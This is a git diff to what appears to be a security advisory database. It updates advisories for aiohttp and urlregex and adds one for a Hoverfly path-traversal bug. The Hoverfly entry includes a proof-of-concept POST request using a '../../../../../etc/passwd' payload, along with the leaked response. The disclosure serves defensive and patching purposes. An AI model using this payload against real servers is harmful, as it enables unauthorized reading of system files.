diff --git a/advisories/github-reviewed/2021/02/GHSA-v6wp-4m6f-gcjg/GHSA-v6wp-4m6f-gcjg.json b/advisories/github-reviewed/2021/02/GHSA-v6wp-4m6f-gcjg/GHSA-v6wp-4m6f-gcjg.json index 7f1c3a97d06..0ad91b1fb27 100644 --- a/advisories/github-reviewed/2021/02/GHSA-v6wp-4m6f-gcjg/GHSA-v6wp-4m6f-gcjg.json +++ b/advisories/github-reviewed/2021/02/GHSA-v6wp-4m6f-gcjg/GHSA-v6wp-4m6f-gcjg.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-v6wp-4m6f-gcjg", - "modified": "2023-11-22T19:02:09Z", + "modified": "2024-09-03T21:02:49Z", "published": "2021-02-26T02:11:57Z", "aliases": [ "CVE-2021-21330" @@ -12,6 +12,10 @@ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N" } ], "affected": [ @@ -53,10 +57,18 @@ "type": "WEB", "url": "https://github.com/aio-libs/aiohttp/commit/2545222a3853e31ace15d87ae0e2effb7da0c96b" }, + { + "type": "PACKAGE", + "url": "https://github.com/aio-libs/aiohttp" + }, { "type": "WEB", "url": "https://github.com/aio-libs/aiohttp/blob/master/CHANGES.rst#374-2021-02-25" }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2021-76.yaml" + }, { "type": "WEB", "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FU7ENI54JNEK3PHEFGCE46DGMFNTVU6L" diff --git a/advisories/github-reviewed/2024/09/GHSA-6xx4-x46f-f897/GHSA-6xx4-x46f-f897.json b/advisories/github-reviewed/2024/09/GHSA-6xx4-x46f-f897/GHSA-6xx4-x46f-f897.json new file mode 100644 index 00000000000..2e78e4caffa --- /dev/null +++ b/advisories/github-reviewed/2024/09/GHSA-6xx4-x46f-f897/GHSA-6xx4-x46f-f897.json @@ -0,0 +1,77 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-6xx4-x46f-f897", + "modified": "2024-09-03T21:01:54Z", + "published": "2024-09-03T21:01:53Z", + "aliases": [ + "CVE-2024-45388" + ], + "summary": "Hoverfly allows an arbitrary file read in the `/api/v2/simulation` endpoint (`GHSL-2023-274`)", + "details": "### Details\n\nThe `/api/v2/simulation` [POST handler](https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87) allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.\n\n```go\n# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186\nfunc (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {\n\tif filepath.IsAbs(filePath) {\n\t\treturn \"\", fmt.Errorf(\"bodyFile contains absolute path (%s). only relative is supported\", filePath)\n\t}\n\n\tfileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(fileContents[:]), nil\n}\n```\n\nNote that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files.\n\nThis issue was found using the [Uncontrolled data used in path expression CodeQL query for python](https://codeql.github.com/codeql-query-help/go/go-path-injection/).\n#### Proof of Concept\n\nSend the following `POST` request to read the `/etc/passwd` file:\n\n```http\nPOST /api/v2/simulation HTTP/1.1\nHost: localhost:8888\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 128\n\n{\"data\":{\"pairs\":[{\n\"request\":{},\"response\": {\n\"bodyFile\": \"../../../../../etc/passwd\"}} ]},\"meta\":{\"schemaVersion\":\"v5.2\"}}\n\n```\n\nResponse will contain the Hoverfly's server `/etc/passwd`\n```\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\nDate: Tue, 19 Dec 2023 20:59:16 GMT\nContent-Length: 1494\nConnection: close\n\n{\"data\":{\"pairs\":[{\"request\":{},\"response\":{\"status\":0,\"body\":\"root:x:0:0:root:/root:/bin/ash\\nbin:x:1:1:bin:/bin:/sbin/nologin\\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\\nadm:x:3:4:adm:/var/adm:/sbin/nologin\\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\\nsync:x:5:0:sync:/sbin:/bin/sync\\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\\nhalt:x:7:0:halt:/sbin:/sbin/halt\\nmail:x:8:12:mail:/var/mail:/sbin/nologin\\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\\noperator:x:11:0:operator:/root:/sbin/nologin\\nman:x:13:15:man:/usr/man:/sbin/nologin\\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\\ngames:x:35:35:games:/usr/games:/sbin/nologin\\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\\nguest:x:405:100:guest:/dev/null:/sbin/nologin\\nnobody:x:65534:65534:nobody:/:/sbin/nologin\\n\",\"bodyFile\":\"../../../../../etc/passwd\",\"encodedBody\":false,\"templated\":false}}],\"globalActions\":{\"delays\":[],\"delaysLogNormal\":[]}},\"meta\":{\"schemaVersion\":\"v5.2\",\"hoverflyVersion\":\"v1.6.1\",\"timeExported\":\"2023-12-19T20:59:16Z\"}}\n\n```\n\n#### Impact\n\nThis issue may lead to Information Disclosure.\n#### Remediation\n\nThe code is [preventing absolute paths from being read](https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186). Make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/spectolabs/hoverfly" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.10.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45388" + }, + { + "type": "WEB", + "url": "https://codeql.github.com/codeql-query-help/go/go-path-injection" + }, + { + "type": "PACKAGE", + "url": "https://github.com/SpectoLabs/hoverfly" + }, + { + "type": "WEB", + "url": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3" + }, + { + "type": "WEB", + "url": "https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-200" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-09-03T21:01:53Z", + "nvd_published_at": "2024-09-02T18:15:38Z" + } +} \ No newline at end of file diff --git a/advisories/unreviewed/2024/09/GHSA-rw72-v6c7-hf9r/GHSA-rw72-v6c7-hf9r.json b/advisories/github-reviewed/2024/09/GHSA-rw72-v6c7-hf9r/GHSA-rw72-v6c7-hf9r.json similarity index 76% rename from advisories/unreviewed/2024/09/GHSA-rw72-v6c7-hf9r/GHSA-rw72-v6c7-hf9r.json rename to advisories/github-reviewed/2024/09/GHSA-rw72-v6c7-hf9r/GHSA-rw72-v6c7-hf9r.json index a041863f5c9..0701dbf11f1 100644 --- a/advisories/unreviewed/2024/09/GHSA-rw72-v6c7-hf9r/GHSA-rw72-v6c7-hf9r.json +++ b/advisories/github-reviewed/2024/09/GHSA-rw72-v6c7-hf9r/GHSA-rw72-v6c7-hf9r.json @@ -1,11 +1,12 @@ { "schema_version": "1.4.0", "id": "GHSA-rw72-v6c7-hf9r", - "modified": "2024-09-02T18:31:24Z", + "modified": "2024-09-03T21:03:07Z", "published": "2024-09-02T18:31:24Z", "aliases": [ "CVE-2020-36830" ], + "summary": "ReDoS in urlregex", "details": "A vulnerability was found in nescalante urlregex up to 0.5.0 and classified as problematic. This issue affects some unknown processing of the file index.js of the component Backtracking. The manipulation leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 0.5.1 is able to address this issue. The identifier of the patch is e5a085afe6abfaea1d1a78f54c45af9ef43ca1f9. It is recommended to upgrade the affected component.", "severity": [ { @@ -18,7 +19,25 @@ } ], "affected": [ - + { + "package": { + "ecosystem": "npm", + "name": "urlregex" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.5.1" + } + ] + } + ] + } ], "references": [ { @@ -33,6 +52,10 @@ "type": "WEB", "url": "https://github.com/nescalante/urlregex/commit/e5a085afe6abfaea1d1a78f54c45af9ef43ca1f9" }, + { + "type": "PACKAGE", + "url": "https://github.com/nescalante/urlregex" + }, { "type": "WEB", "url": "https://github.com/nescalante/urlregex/releases/tag/v0.5.1" @@ -51,8 +74,8 @@ "CWE-1333" ], "severity": "MODERATE", - "github_reviewed": false, - "github_reviewed_at": null, + "github_reviewed": true, + "github_reviewed_at": "2024-09-03T21:03:07Z", "nvd_published_at": "2024-09-02T18:15:20Z" } } \ No newline at end of file